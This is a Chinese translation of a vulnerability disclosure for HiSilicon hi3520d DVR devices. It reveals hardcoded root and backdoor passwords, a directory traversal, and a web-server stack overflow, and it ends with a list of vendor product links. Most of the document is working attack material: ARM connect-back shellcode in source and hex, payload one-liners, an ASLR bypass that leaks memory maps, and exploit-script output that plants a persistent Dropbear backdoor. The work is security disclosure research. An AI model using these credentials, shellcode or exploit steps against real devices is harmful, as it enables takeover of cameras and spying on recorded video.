

翻译文章，原文链接：

<https://github.com/mcw0/pwn-hisilicon-dvr/blob/master/README.adoc#defeating-aslr>

前言

该报告披露了使用HiSilicon

hi3520d和片上系统(SOC)构建的DVR/NVR设备的严重漏洞（具有POC代码）。利用漏洞会导致仅使用Web界面的未经授权的远程代码执行（RCE），导致被攻击设备的完全控制。几年前我在eBay上购买了廉价的中文DVR设备。该设备的启动徽标显示：“SECULINK - 安全监控”。作为IT安全爱好者，我决定仔细查看该设备，了解安全监控服务的“安全性”。通过谷歌搜索这个话题，我发现了一些有趣的材料，但是深入挖掘，发现了关于该设备的0days。

探索DVR

首先我们应该学习官方用户界面，然后深入挖掘，或者尝试获取固件。固件增加了发现漏洞的机会。

简单概括DVR

用于测试的DVR设备被标记为“Seculink”。



可用的物理接口：

2个USB端口（鼠标可用于控制GUI控制台），

用于连接外接显示器的HDMI端口和VGA（用于GUI和摄像头视图），

用于模拟闭路电视摄像机的4个BNC连接器，

内部的SATA端口用于连接存储以记录视频流，

用于网络访问的以太网端口

官方用户界面：

使用HDMI（或VGA）作为输出直接访问，使用USB鼠标/键盘输入摄像机视图/控制/完全设置，

通过HTTP进行网络访问以进行摄像机查看/控制

可直接访问的设置界面受用户身份验证（用户名，密码）的限制。默认超级用户为“admin”，默认密码为空。

在设置强密码之后，用户可能感到安全，其他人无法访问他/她的相机视图。人们经常将DVR设备的Web端口（tcp / 80）从其安全LAN转发到WAN侧，以便从外部访问DVR流（我们可以通过合适的Shodan搜索来检查这一点）。

获得固件

获取固件的方法可能有很多：

- 通过一些软方法（使用官方接口或利用某种漏洞）从设备中获取它，
 - 通过一些硬方法（JTAG，串行控制台等）从设备中获取它，
从互联网上查找并下载（如果可用）。
虽然后一种方法在这里是可行的，也是最简单的，但是让我们来试试第一种，因为它也提供了关于设备的其他信息。
- ## 服务扫描
- 让我们在DVR上进行全端口扫描。请注意，（默认情况下，如果由root运行）SYN扫描非常慢，因为数据包丢失，但完整的TCP连接扫描将在几分钟后完成。

```
# Nmap 7.40 scan initiated Sun Sep  3 01:57:47 2017 as: nmap -v -sV -sT -p- -oA nmap_full 192.168.88.127
Nmap scan report for dvr.lan (192.168.88.127)
Host is up (0.028s latency).
Not shown: 65529 closed ports
PORT      STATE SERVICE      VERSION
23/tcp    open  telnet       BusyBox telnetd
80/tcp    open  http         uc-httpd 1.0.0
554/tcp   open  rtsp         LuxVision or Vacon DVR rtspd
9527/tcp  open  unknown
34567/tcp open  dhanalakshmi?
34599/tcp open  unknown
MAC Address: 00:12:12:15:B3:E7 (Plus )
Service Info: Host: LocalHost; Device: webcam
# Nmap done at Sun Sep  3 02:00:42 2017 -- 1 IP address (1 host up) scanned in 174.79 seconds
```

- 总结和手动测试：
- 23 / tcp是一个telnet登录界面，受一些用户名+密码（不是应用程序凭据）的保护
- 80 / tcp是受应用程序凭据保护的Web界面
- 554 / tcp是一个rtsp服务; 它可以通过一个公共rtsp url打开：

```
rtsp://192.168.88.127:554/user=admin&password=&channel=1&stream=0.sdp
```

请注意，打开rtsp流也需要凭据。

- 9527 / tcp似乎是一个秘密服务端口，具有一些非常有趣的功能，
- 34567 / tcp和34599 / tcp似乎是与DVR应用程序相关的一些数据端口。

在这里，我们应该声明该设备可能是一些类似Linux的系统。

通过raw netcat连接到9527 /

tcp显示应用程序控制台的日志消息和登录提示。使用任何已定义的应用程序凭据登录都有效。help在提示符后发出，给出了控制台命令的简短描述。命令shell似乎是最有趣的。是的，它为设备提供了root shell。;)

请注意，这显然是一个严重的安全问题，因为任何（低权限）应用程序用户都不应自动获取设备上的root shell。

root shell

在root shell中探索设备（例如，通过dmesg）可以明显看出DVR运行的是Linux内核（版本3.0.8），它有一个ARMv7 CPU，SoC模型是hi3520d。

从正在运行的进程列表中（ps）可以清楚地看到，DVR应用程序/var/Sofia正在侦听34568 / udp和34569 / udp以及nmap（netstat -nlup）检测到的上述tcp端口。

从已装入的磁盘列表（mount命令）中，可以清楚地看到固件映像/dev/mtdblockX设备中（其中X = 0,1,2,3,4,5）。

固件很小，因此受到限制，因此如果我们想要将文件复制到设备或从设备复制文件，我们应该换个思维方式。幸运的是支持NFS，所以在我们的台式机上安装一台NFS服务器。

```
mount -t nfs 192.168.88.100:/nfs /home -o nolock
```

现在获得固件很简单：

```
cat /dev/mtdblock1 > /home/mtdblock1-root.img
cat /dev/mtdblock2 > /home/mtdblock2-usr.img
cat /dev/mtdblock3 > /home/mtdblock3-custom.img
```

```
cat /dev/mtdblock4 > /home/mtdblock4-logo.img
cat /dev/mtdblock5 > /home/mtdblock5-mtd.img
```

我们可能会获取文件（不仅仅是原始图像）：

```
cp / var / Sofia / home /
tar -cf /home/fs.tar / bin / boot / etc / lib / linuxrc / mnt / opt / root / sbin / share / slv / usr / var
```

telnet接口

要通过telnet接口（端口23 / tcp）访问设备，我们可能需要一些操作系统凭据。看看/etc/passwd，我们获取root用户的密码hash值：

```
root:absxcfbgXtb3o:0:0:root:/:/bin/sh
```

请注意，除root之外没有其他用户，所有内容都以完全权限运行。（因此如果有人以某种方式入侵设备，没有阻拦，攻击者立即获得全部权限。）假设一个六个字符的小写字母数字密码，hashcat会快速破解上述弱DES hash：

```
$ ./hashcat64.bin -a3 -m1500 absxcfbgXtb3o -1 ?l?d ?1?l?1?l?1?l
absxcfbgXtb3o:xc3511
Session.....: hashcat
Status.....: Cracked
Hash.Type.....: decrypt, DES (Unix), Traditional DES
Hash.Target.....: absxcfbgXtb3o
Time.Started.....: Sun Sep  3 03:25:07 2017 (2 mins, 29 secs)
Time.Estimated...: Sun Sep  3 03:27:36 2017 (0 secs)
Guess.Mask.....: ?1?l?1?l?1?l [6]
Guess.Charset....: -1 ?l?d, -2 Undefined, -3 Undefined, -4 Undefined
Guess.Queue.....: 1/1 (100.00%)
Speed.Dev.#1.....: 815.9 kH/s (203.13ms)
Recovered.....: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.....: 121360384/2176782336 (5.58%)
Rejected.....: 0/121360384 (0.00%)
Restore.Point....: 93440/1679616 (5.56%)
Candidates.#1....: sa8711 -> h86ani
HWMon.Dev.#1.....: N/A
Started: Sun Sep  3 03:25:04 2017
Stopped: Sun Sep  3 03:27:38 2017
```

因此通过端口23 / tcp上的telnet接口登录用户root和密码xc3511是可能的。这个硬编码的root帐户可以在不可关闭的telnet接口上访问，这显然是一个后门。在我们的研究之前，几乎其他任何人都可以获得这些结果，但以下是全新的。

固件逆向

探索固件后发现，二进制文件/var/Sofia是实现除视频处理之外的所有接口的主要应用程序。所以这个二进制文件对我们来说似乎是最值得关注的。不幸的是，它（作为静态链接）被剥离，这使得静态分析变得更难：

```
`$ file Sofia
Sofia: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, stripped, with debug_info`
```

因此，除静态分析（使用radare2或IDA）外，动态分析应该非常有用。

远程gdb

对于动态分析，将GDB链接到远程/var/Sofia应用程序应该是有利的。推荐的方法是在远程设备上运行(和连接) gdbserver，并从本地机器将gdb连接到它。当然，我们需要为适当的ARM体系结构编译一个gdbserver（最好是静态的）。为了构建它，我们可以使用Clibc，它是嵌入式系统（比如我们的DVR）推荐的C库。可用的构建是动态构建，在我们的DVR上是有问题的，所以我们应该自己定制静态构建。有一个很好的构建环境叫menuconfig选择所需的应用程序（例如gdb），不要忘记选择静态库，然后运行make）。经过短暂的构建(约10 - 15分钟)，所有必要的工具都应该可用。静态二进制文件可以通过前面提到的NFS方法传输到设备。请注意，变量/var的目录包含Sofia二进制文件是ramfs，因此它不会在重新启动时保持不变。如果我们想要永久地传输二进制文件，那么/mnt/mtd包含配置文件的rw分区应该是合适的目标。现在固件已经准备好进行一些逆向。远程连接gdbserver现在工作正常(使用ps获取Sofia进程的PID是很容易的)：

```
`$ /mnt/mtd/gdbserver --attach :2000 610`
```

从本地机器连接：

```
$ gdb -ex 'set gnutarget elf32-littlearm' -ex 'target remote 192.168.88.127:2000'
```

请注意，建议使用一些GDB扩展（如GEF）。如果由于某种原因暂停应用程序不起作用（使用Cc），则向Sofia进程发送TRAP信号（通过kill -TRAP 610）应该会暂停它。

检查认证程序

静态分析的推荐工具显然是Hex-Ray的 IDA Pro。不幸的是，它不便宜，但比任何其他工具都好。

初始自动分析后有15.000多个函数，但找到auth函数只是IDA的一个瞬间（使用简单的Python脚本）。下面的 IDAPython代码片段搜索引用与“Users”和“Password”相关的任何内容的所有函数（同时）：

```
x1, x2 = set(), set()
for loc, name in Names():
    if "Users" in name:
        for addr in XrefsTo(loc):
            x1.add(GetFunctionName(addr.frm))
    elif "Password" in name:
        for addr in XrefsTo(loc):
            x2.add(GetFunctionName(addr.frm))
print x1 & x2
```

结果只有一个功能：sub_2D857C。对该功能的快速分析确认了这应该是身份验证功能。

对明文密码和硬编码字符串进行初始检查（从配置中获取用户的密码哈希值之前）。如果通过，则授予身份验证。这是应用程序中的恶意后门。通用密码是：I0T05Wv9。使用此密码，我们可以以任何用户（例如管理员）访问应用程序中的任何内容。例如，获取视频流：

```
$ cvlc'rtsp://192.168.88.127:554 / user = admin&password = I0T05Wv9&channel = 1&stream = 0.sdp'
```

或者在应用程序控制台（9527 / tcp）上获得root shell也可以：

```
$ nc 192.168.88.127 9527
nc: using stream socket
username:admin
password:I0T05Wv9
login(admin, *****, Console, address:)
admin$
```

认证算法还有一个有趣的结果：在某些情况下，认证函数不仅接受密码，还接受散列。不仅可以通过密码而且可以通过hash（存储在 /mnt / mtd / Config / Account1中）打开rtsp视频流。例如，tlJwpbo6是空密码的hash值（参见下一节），因此

```
cvlc 'rtsp://192.168.88.127:554/user=admin&password=&channel=1&stream=0.sdp'
cvlc 'rtsp://192.168.88.127:554/user=admin&password=tlJwpbo6&channel=1&stream=0.sdp'
```

同样有效。

密码散列函数

auth函数（更深层）静态分析的另一个结果：密码散列函数是sub_3DD5E4。它基本上是带有一些奇怪转换的MD5。逆向并在Python中实现：

```
import hashlib
def sofia_hash(msg):
    h = ""
    m = hashlib.md5()
    m.update(msg)
    msg_md5 = m.digest()
    for i in range(8):
        n = (ord(msg_md5[2*i]) + ord(msg_md5[2*i+1])) % 0x3e
        if n > 9:
            if n > 35:
                n += 61
            else:
                n += 55
        else:
            n += 0x30
        h += chr(n)
    return h
```

执行hash算法，可以强制使用密码或设置任意密码。

内置webserver中的缓冲区溢出

Sofia二进制文件处理端口80/tcp上的HTTP请求。让我们试着对这些要求进行混淆处理。当然，附加gdb（见上文）应该会有所帮助。实际上，我们应该终止Sofia进程，并使用gdbserver重新启动它，以查看控制台输出：

```
$ kill 610
$ /mnt/mtd/gdbserver :2000 /var/Sofia
```

在本地：

```
$ gdb -q -ex 'set gnutarget elf32-littlearm' -ex 'target remote 192.168.88.127:2000'
gef> c
```

现在让我们看看GET请求。没有回应：

```
$ echo 'GET /' | nc 192.168.88.127 80
```

正常响应（即使没有正确的关闭）：

```
$ echo -ne'GET / HTTP'| nc 192.168.88.127 80
```

用loooong请求测试是否有溢出:

```
$ python -c 'print "GET " + "a"*1000 + " HTTP"' | nc 192.168.88.127 80
```

很好，响应是200，带有“404 File Not Found”消息，但我们可以在gdb中看到一个精彩的崩溃。；)

请注意，Sofia应用程序启用了watchdog内核模块。如果它有一分钟没有运行，设备将重新启动。如果我们用远程设备进行实验，这一方面是好的，但是如果我们想顺利地watchdog一旦启动就无法关闭，因此摆脱它的唯一方法是通过重新刷新来修改只读固件。除非我们想要测试我们的设备，否则不建议使用。；)

程序流控制

（在攻击者看来）为什么这次崩溃如此美妙？远程进程Sofia得到了SIGSEGV（分段错误），堆栈中充满了我们的“a”字符，但最重要的是：\$pc

（程序计数器）寄存器中有我们注入的值0x61616160（“aaaa” -

1）可能是由ret触发的，但原因并不重要）。这应该是经典的堆栈溢出，这意味着我们有机会轻松控制程序流。

经过一些实验（间隔减半）：

```
$ python -c 'print "GET " + "0123" + "a"*(299-4) + "wxyz" + " HTTP"' | nc 192.168.88.127 80
```

这也导致了SIGSEGV，并且\$pc寄存器是0x7a797876（“wxyz”；相反，因为字节排序是little-endian；而-1是因为对齐）。payload在\$sp + 0x14（堆栈基址+ 0x14）处开始（带有“0123aaa ...”）。

远程代码执行

最容易和有效地利用这种溢出是通过将一些shellcode注入堆栈并将程序流重定向到那里。这样我们就可以在目标上获得任意的远程代码执行。由于设备操作系统上没有权限shell访问）。

但是，启用漏洞利用缓解技术可能会使攻击者更难入侵。

防止堆栈上的shellcode的最基本方法是No-eXecute（NX）位技术。这可以防止在选定的内存页面上（通常是具有写入权限的页面，如堆栈）执行代码。幸运的是（从攻击

```
$ objdump -b elf32-littlearm -p Sofia
Sofia:      file format elf32-littlearm
Program Header:
0x70000001 off      0x00523f34 vaddr 0x0052bf34 paddr 0x0052bf34 align 2**2
            filesz 0x000132a8 memsz 0x000132a8 flags r--
LOAD off      0x00000000 vaddr 0x00008000 paddr 0x00008000 align 2**15
            filesz 0x005371dc memsz 0x005371dc flags r-x
LOAD off      0x005371dc vaddr 0x005471dc paddr 0x005471dc align 2**15
            filesz 0x000089c8 memsz 0x000dad8c flags rw-
TLS off      0x005371dc vaddr 0x005471dc paddr 0x005471dc align 2**2
            filesz 0x00000004 memsz 0x00000018 flags r--
STACK off     0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**2
            filesz 0x00000000 memsz 0x00000000 flags rwx
private flags = 5000002: [Version5 EABI]<Unrecognised flag bits set>
```

或者在gdb gef中使用checksec。gdb

gef中的checksec也告诉我们没有其他的缓解措施，例如堆栈canary（这很明显，因为如果存在堆栈canary，我们无法控制带有堆栈溢出的\$pc）。

在获取RCE工作之前，我们唯一应该知道的是堆栈地址。我们应该在payload的适当位置（上文中的“wxyz”）注入地址\$sp+0x14，以便将程序流重定向到shellcode。

还有一种缓解技术可以使这变得更加困难（或者非常困难，在某些情况下几乎不可能）：地址空间布局随机化（ASLR）。ASLR随机化存储器段的基址（例如，堆栈的基址）运气不好，ASLR被启用（“2”表示完全随机化，“0”被禁用）：

```
$ cat /proc/sys/kernel/randomize_va_space
2
```

没有ASLR的RCE

让我们先尝试在ASLR关闭的情况下利用溢出。

```
$ echo 0 > /proc/sys/kernel/randomize_va_space
```

按照上面的过程，我们得到SIGSEGV崩溃时堆栈地址（\$sp）是0x5a26f3d8（并且在ASLR关闭的不同运行中它是相同的）。

因此payload应该是：

```
python -c 'print "GET " + shellcode + "a"*(299-len(shellcode)) + "\xd8\xf3\x26\x5a" + " HTTP" | nc 192.168.88.127 80'
```

其中shellcode应该是我们想要执行的，最好是connectback shellcode。请注意，必须避免“badchars”：0x00, 0x0d ('\n'), 0x20 (' '), 0x26 ('&'), 0x3f ('?')。此外，还有299字节的大小限制。Shellcode生成器无法处理我们的badchar列表，即使使用自动编码器也无法解决问题（因为大小限制）。因此应该生成自定义shellcode。这里的shellcode使用socket, connect, dup2和execve系统调用（或根据ARM世界的术语进行管理程序调用）给出了一个连接shell。我

```
.section .text
.global _start
@ ensure switching to thumb mode (arm mode instructions)
.code 32
_0: add r1, pc, #1
_4: bx r1
@ thumb mode instructions
_start:
.code 16
@ *0x52 -= 1 (port -= 0x100; make it possible to use port numbers <1024)
_8: add r1, pc, #68 @ r1 <- pc+68 = 0xc+68 = 0x50
_a: ldrb r2, [r1, #2] @ r2 <- *0x52
_c: sub r2, #1 @ r2 <- r2-1
_e: strb r2, [r1, #2] @ r2 -> *0x52
@ socket(2, 1, 0) = socket(AF_INET, SOCK_DGRAM, 0)
_10: mov r1, #2 @ r1 <- 2
_12: add r0, r1, #0 @ r0 <- r1 + 0 = 2
_14: mov r1, #1 @ r1 <- 1
_16: sub r2, r2, r2 @ r2 <- r2 - r2 = 0
_18: lsl r7, r1, #8 @ r7 <- r1<<8 = 1<<8 = 256
_1a: add r7, #25 @ r7 <- r7 + 25 = 281
_1c: svc 1 @ r0 <- svc_281(r0, r1, r2) = socket(2, 1, 0)
@ connect(r0, 0x50, 16) = connect(&socket, &struct_addr, addr_len)
_1e: add r6, r0, #0 @ r6 <- r0 + 0 = &socket
_20: add r1, pc, #44 @ r1 <- pc+44 = 0x24+44 = 0x50
_22: mov r3, #2 @ r3 <- 2
_24: strh r3, [r1, #0] @ 2 -> *0x50
_26: mov r2, #16 @ r2 <- 16
_28: add r7, #2 @ r7 <- r7 + 2 = 283
_2a: svc 1 @ r0 <- svc_283(r0, r1, r2) = connect(&socket, 0x50, 16)
@ attach stdin/stdout/stderr to socket: dup2(r0, 0), dup2(r0, 1), dup2(r0, 2)
_2c: mov r7, #62 @ r7 <- 62
_2e: add r7, #1 @ r7 <- r7 + 1 = 63
_30: mov r1, #200 @ r1 <- 200
_32: add r0, r6, #0 @ r0 <- r6 + 0 = &socket
_34: svc 1 @ r0 <- svc_63(r0, r1) = dup2(&socket, 0..200)
_36: sub r1, #1 @ r1 <- r1 - 1
_38: bpl _32 @ loop until r1>0 (dup2 every fd to the socket)
@ execve('/bin/sh', NULL, NULL)
_3a: add r0, pc, #28 @ r0 <- pc+28 = 0x3c+28 = 0x58
_3c: sub r2, r2, r2 @ r2 <- r2 - r2 = 0
_3e: strb r2, [r0, #7] @ 0 -> *(0x58+7), terminate '/bin/sh' with \x00
_40: push {r0, r2} @ *sp <- {r0, r1, r2} = {0x58, 0x0, 0x0}
_42: mov r1, sp @ r1 <- sp
_44: mov r7, #11 @ r7 <- 11
_46: svc 1 @ svc_11(r0, r1, r2) = execve('/bin/sh\x00', ['/bin/sh\x00', 0], 0)
_48: mov r7, #1 @ r7 <- 1
_4a: add r0, r7, #0 @ r0 <- r7 + 0 = 1
_4c: svc 1 @ svc_1(r0) = exit(1)
_4e: nop
@ struct sockaddr (sa_family = 0x0002 (set by shellcode), sa_data = (port, ip) )
_50: .short 0xffff
_52: .short 0x697b @ port 31377 (hex(31337+0x100) in little-endian)
_54: .byte 192,168,88,100 @ inet addr: 192.168.88.100
_58: .ascii "/bin/shX" @ 'X' will be replaced with \x00 by the shellcode
.word 0xefbeadde @ deadbeef ;)
```

编译shellcode并获取原始二进制字节（使用ARM的任何交叉工具都可以工作，例如使用buildroot构建的工具buildroot-2017.02.5/output/host/usr/bin/也可以）：

```
$ armv7a-hardfloat-linux-gnueabi-as shellcode.S -o shellcode.o
$ armv7a-hardfloat-linux-gnueabi-ld.bfd shellcode.o -o shellcode
$ armv7a-hardfloat-linux-gnueabi-objcopy -O binary --only-section=.text ./shellcode ./shellcode.bin
$ cat shellcode.bin | xxd -p
```

```
01108fe211ff2fe111a18a78013a8a700221081c0121921a0f02193701df
061c0ba102230b801022023701df3e270137c821301c01df0139fbd507a0
921ac27105b469460b2701df0127381c01dfc046ffff7b69c0a858642f62
696e2f736858deadbeef
```

向它注入payload应该可以使该漏洞发挥作用，并且应该给远程设备提供一个connectback shell。
当然，首先要启动一个监听器192.168.88.100：

```
$ nc -nvlp 31337
```

然后启动 payload:

```
$ python -c 'shellcode = "01108fe211ff2fe111a18a78013a8a700221081c0121921a0f02193701df061c0ba102230b801022023701df3e270137c821301c01df0139fbd507a0921ac27105b469460b2701df0127381c01dfc046ffff7b69c0a858642f62696e2f736858deadbeef"'
nc: using stream socket
HTTP/1.0 200 OK
Content-type: application/binary
Server: uc-httpd 1.0.0
Expires: 0
<html><head><title>404 File Not Found</title></head>
<body>The requested URL was not found on this server</body></html>
```

在本地 gdb Exp 应该有效 :)：

```
process 1064 is executing new program: /bin/busybox
Reading /bin/busybox from remote target...
Reading /bin/busybox from remote target...
```

并且RCE已经在netcat监听器上准备好:

```
nc: connect to 192.168.88.100 31337 from 192.168.88.127 55442
nc: using stream socket
```

现在可以在远程系统上执行arbitraty命令（以root身份！）。
但不幸的是，漏洞利用尚未准备好进行实际部署，因为ASLR已打开，因此我们尚未得知shellcode起始地址。

绕过ASLR

绕过ASLR并不是一件容易的工作，但是它通常可以通过一些新奇的的想法来完成。通常有两种方法可以做到这一点：

- 在随机性发生器中发现一些弱点并通过暴力或部分泄漏/重写来攻击它，
- 泄漏远程二进制文件的随机内存地址。

现在暴力破坏似乎没用了（触发错误的地址将导致崩溃和慢速重启），所以只有泄漏似乎很方便（如果我们能找到的话）。

经过长时间的研究，几乎不得不放弃它，找不到任何漏洞，但后来一个想法从完全不同的方向出现了。

Web服务器中存在一个不同的漏洞，即目录遍历漏洞。事实上，它也适用于列出目录（这也很重要）。

目录遍历漏洞意味着：

```
$ echo -ne 'GET ../../etc/passwd HTTP' | nc 192.168.88.127 80
nc: using stream socket
HTTP/1.0 200 OK
Content-type: text/plain
Server: uc-httpd 1.0.0
Expires: 0
```

```
root:absxcfbgXtb3o:0:0:root:/:/bin/sh
```

我们还可以获得目录列表：

```
$ echo -ne 'GET ../../etc HTTP' | nc 192.168.88.127 80nc: using stream socket
HTTP/1.0 200 OK
Content-type: application/binary
Server: uc-httpd 1.0.0
Expires: 0
```

```
<H1>Index of /mnt/web/../../../../etc</H1>
```

```
<p><a href="//mnt/web/../../../../etc/.">.</a></p>
<p><a href="//mnt/web/../../../../etc/..">..</a></p>
<p><a href="//mnt/web/../../../../etc/fs-version">fs-version</a></p>
```

```

<p><a href="//mnt/web/../../../../etc/fstab">fstab</a></p>
<p><a href="//mnt/web/../../../../etc/group">group</a></p>
<p><a href="//mnt/web/../../../../etc/init.d">init.d</a></p>
<p><a href="//mnt/web/../../../../etc/inittab">inittab</a></p>
<p><a href="//mnt/web/../../../../etc/mactab">mactab</a></p>
<p><a href="//mnt/web/../../../../etc/memstat.conf">memstat.conf</a></p>
<p><a href="//mnt/web/../../../../etc/mtab">mtab</a></p>
<p><a href="//mnt/web/../../../../etc/passwd">passwd</a></p>
<p><a href="//mnt/web/../../../../etc/passwd->passwd-</a></p>
<p><a href="//mnt/web/../../../../etc/ppp">ppp</a></p>
<p><a href="//mnt/web/../../../../etc/profile">profile</a></p>
<p><a href="//mnt/web/../../../../etc/protocols">protocols</a></p>
<p><a href="//mnt/web/../../../../etc/resolv.conf">resolv.conf</a></p>
<p><a href="//mnt/web/../../../../etc/services">services</a></p>
<p><a href="//mnt/web/../../../../etc/udev">udev</a></p>

```

请注意，此漏洞非常严重，因为攻击者可以读取任何文件，包括录制的视频（如果设备有硬盘存储）。

此外，该漏洞可以帮助我们绕过ASLR。

该/proc文件系统包含了很多有关在/proc/[pid]目录中运行进程的信息。可以使用GET ../../proc列出/proc，这样我们就可以得到所有的PID。如果/proc/[pid]/cmdline是/var/Sofia，则找到应用程序的PID。

绕过ASLR最重要的信息是 /proc/[pid]/smaps。此文件包含内存页统计信息、页面地址和其他有趣信息（例如rss）。例如：

```

$ echo -ne 'GET ../../proc/610/cmdline HTTP' | nc 192.168.88.127 80
nc: using stream socket
HTTP/1.0 200 OK
Content-type: text/plain
Server: uc-httpd 1.0.0
Expires: 0

```

/var/Sofia

```

$ echo -ne 'GET ../../proc/610/smaps HTTP' | nc 192.168.88.127 80
nc: using stream socket
HTTP/1.0 200 OK
Content-type: text/plain
Server: uc-httpd 1.0.0
Expires: 0

```

...

```

4b699000-4be98000 rwxp 00000000 00:00 0
Size:                8188 kB
Rss:                 4 kB
Pss:                 4 kB
Shared_Clean:        0 kB
Shared_Dirty:        0 kB
Private_Clean:       0 kB
Private_Dirty:       4 kB
Referenced:          4 kB
Anonymous:           4 kB
AnonHugePages:       0 kB
Swap:                0 kB
KernelPageSize:      4 kB
MMUPageSize:         4 kB
Locked:              0 kB

```

...

这只是一页，该列表包含约150页。

看看上面的结构（注意页面大小，模式等），我们可以猜测哪一个包含所需线程的堆栈。堆栈与基址的偏移量是常量（它是0x7fd3d8）。

猜测内存页面的片段：

```

def guessregion(smaps):
    for t in range(len(smaps)-7, 1, -1):
        if (smaps[t][1][0], smaps[t+1][1][0], smaps[t+2][1][0], smaps[t+3][1][0], smaps[t+4][1][0], smaps[t+5][1][0], smaps[t+6][1][0],
            smaps[t][1][1] == 4 and smaps[t+1][1][1] == 4 and smaps[t+2][1][1] == 4 and smaps[t+3][1][1] >= 8 and smaps[t+4][1][1]

```



```
        return (t+3)
    return (-1)
```

其中 `smaps[t][1][0]` 是第 `t` 整页的大小, `smaps[t][1][1]` 是相关的 RSS。

该片段是完整漏洞利用脚本的一部分。有关脚本的简要介绍：

```
$ ./pwn_hisilicon_dvr.py -h
usage: pwn_hisilicon_dvr.py [-h] --rhost RHOST [--rport RPORT] --lhost LHOST
                             [--lport LPORT] [--bhost BHOST] [--bport BPORT]
                             [-n] [-i] [-p] [-u] [--offset OFFSET]
                             [--cmdline CMDLINE]
```

exploit HiSilicon DVR devices

optional arguments:

```
-h, --help            show this help message and exit
--rhost RHOST         target host
--rport RPORT         target port
--lhost LHOST         connectback ip
--lport LPORT         connectback port
--bhost BHOST         listen ip to bind (default: connectback)
--bport BPORT         listen port to bind (default: connectback)
-n, --nolisten        do not start listener (you should care about connectback
listener on your own)
-i, --interactive     select stack memory region interactively (rather than
using autodetection)
-p, --persistent      make connectback shell persistent by restarting dvr app
automatically (DANGEROUS!)
-u, --upload          upload tools (now hardcoded "/tools/dropbear" in script)
after pwn
--offset OFFSET       exploit param stack offset to mem page base (default:
0x7fd3d8)
--cmdline CMDLINE     cmdline of Sofia binary on remote target (default
"/var/Sofia")
```

post-exploitation

我们能利用这个 RCE 做什么？一切。请记住，这是一个未经授权的反向 RCE，它只使用网络服务端口 80/tcp。这个端口通常被转发到外部，所以如果攻击者利用这个 RCE 访问接口，

我们的攻击脚本有一些很好的特性，比如它可以上传（以前编译过的）工具到受害者设备。

如果我们想创建一个持久、稳定的后门，我们可以上传一个 Dropbear，让它在本地监听，并向外部打开一个反向 SSH 隧道。有了这种架构，就可以随时随地登录 DVR 设备。

```
$ ./pwn_hisilicon_dvr.py --rhost 192.168.88.127 --lhost 192.168.88.100 -p -u
[*] target is 192.168.88.127:80
[*] connectback on 192.168.88.100:31337
[+] assembling shellcode: done. length is 104 bytes
[+] identifying model number: MBD6804T-EL
[*] exploiting dir path traversal of web service to get leak addresses
[+] getting pidlist: found 35 processes
[+] searching for PID of '/var/Sofia': 610
[+] getting stack section base: 0x5a47a000
[*] shellcode address is 0x5ac773ec
[*] exploiting buffer overflow in web service url path
[*] remote shell should gained by connectback shellcode!
[+] Trying to bind to 192.168.88.100 on port 31337: Done
[+] Waiting for connections on 192.168.88.100:31337: Got connection from 192.168.88.127 on port 44330
[+] Opening connection to 192.168.88.127 on port 80: Done
[+] Receiving all data: Done (204B)
[*] Closed connection to 192.168.88.127 port 80
[+] restarting dvr application: Done
[+] uploading tools to /var/.tools: dropbear
[*] Switching to interactive mode
$ cd /var/.tools
$ ln -s dropbear ssh
$ ln -s dropbear dropbearkey
$ ./dropbearkey -t ecDSA -f dropbear_ecdsa.key -s 256
Generating key, this may take a while...
Public key portion is:
```


<http://click-cam.com/html2/products.php?t=2>
<http://www.ccd.dn.ua/ahd-videoregistratory.html>
<http://www.dhssicurezza.com/tvcc-ahd/dvr-ahd-720p/>
<http://www.gigasecurity.com.br/subcategoria-gravadores-de-video-dvr>
<http://www.luxvision.com.br/category/dvr-ahd/>
<http://www.yescd.com/?products/DigitalVideoRecorder.html>
<http://www.tvzsecurity.com.br/produtos/31/Stand-Alone>
<http://showtec.com.br/dv-stand-alone/>
<http://www.ecotroniccftv.com.br/index.php>
<http://starligh.com/cctv/grabadoras.html>
<http://www.activepixel.us/ap-0404-ahd.html>
<http://j2000.ru/cat/DVR/>
<http://partizan.global/product/ahd-video-surveillance/ahd-dvrs.html>
<http://kenik.pl/index.php/tag/rejestrator/>
<http://www.redebsd.com.br/categoria-25-gravacao-digital>
http://www.idvr.com.br/produtos-index/categorias/2374896/dvr_ahd_lancamento.html
<http://www.visagems.com.br/prd.asp?idP=1119575>
<http://www.braskell.com.br/dvr.html>
<http://www.segvideo.com/segvideo/nvr-hvr.html>
<http://www.neocam.com.br/cameras-cftv/stand-alone>
<http://www.venetian.com.br/categoria/dvr-hvr-04-canais/>
<http://www.cctvkits.co.uk/oy-n-x-orpheus-hdtvi-4-channel-dvr-1080p.html>
<http://ecopower-brasil.com/produto/DVR-HSBS-HSBS%252d3604.html>
<http://www.vixline.com.br/vitrine-de-produtos/dvrs/>
<http://aliveelectronics.com.br/category/gravadores-de-video/>
http://www.issl.com.hk/CCTV_DVRCYVIEW1.htm
<http://idview.com/IDVIEW/Products/DVR/dvr-Analog.html>
<http://www.vonnica.ca/products376e.html?cat=13>
http://polyvision.ru/polyvision/catalog_gibridnye.html
<http://altcam.ru/video/hd-videonabludenie/>
<http://cyfron.ru/catalog/dvr/>
http://www.t54.ru/catalog/videoregistratory/ahd_analogovye_registratory/
<http://www.hiview.co.th/index.php?mo=3&art=42195125>
<http://www.kkmoon.com/usb-fan-271/p-s413-uk.html>
<http://qvisglobal.com/ahd-tvi-960h-hybrid>
<https://www.beylerbeyiguvenlik.com.tr/kayitcihazlari-beylerbeyi.html>
http://www.novicam.ru/index.php?route=product/product&product_id=429
<http://www.esbuk.com/uploads/catalogue/HDview%20catalogue%202015.pdf>
<http://www.ebay.com/itm/SNOWDON-8-CHANNEL-PROFESSIONAL-CCTV-NETWORK-DVR-MACHINE-SYSTEM-H-264-1TB-500GB-/172250300884>
<http://giraffe.by/catalog/tsifrovye-videoregistratory>
http://www.winpossee.com/en/list/?17_1.html
<http://tesamed.com.pl/rejestrator-cyfrowy-vtv-n-1016-vtvision-dvr-16-kanalowy-p-532.html>
<http://hiq-electronics.ru/videoregistratory>
http://www.eltrox.pl/catalogsearch/结果/q=easycam+rejestrator&顺序=v_117002&DIR=降序
<http://www.x5tech.com.tr?cmd=UrunListe&GrupNo=265&t=0>
<http://bigit.ro/dvr-16-canale-hybrid-full-d1-asrock-as-616tel.html>
http://secur.ua/videonablyudenie/ustroystva-zapisi/dvr/?brand_vreg=1557
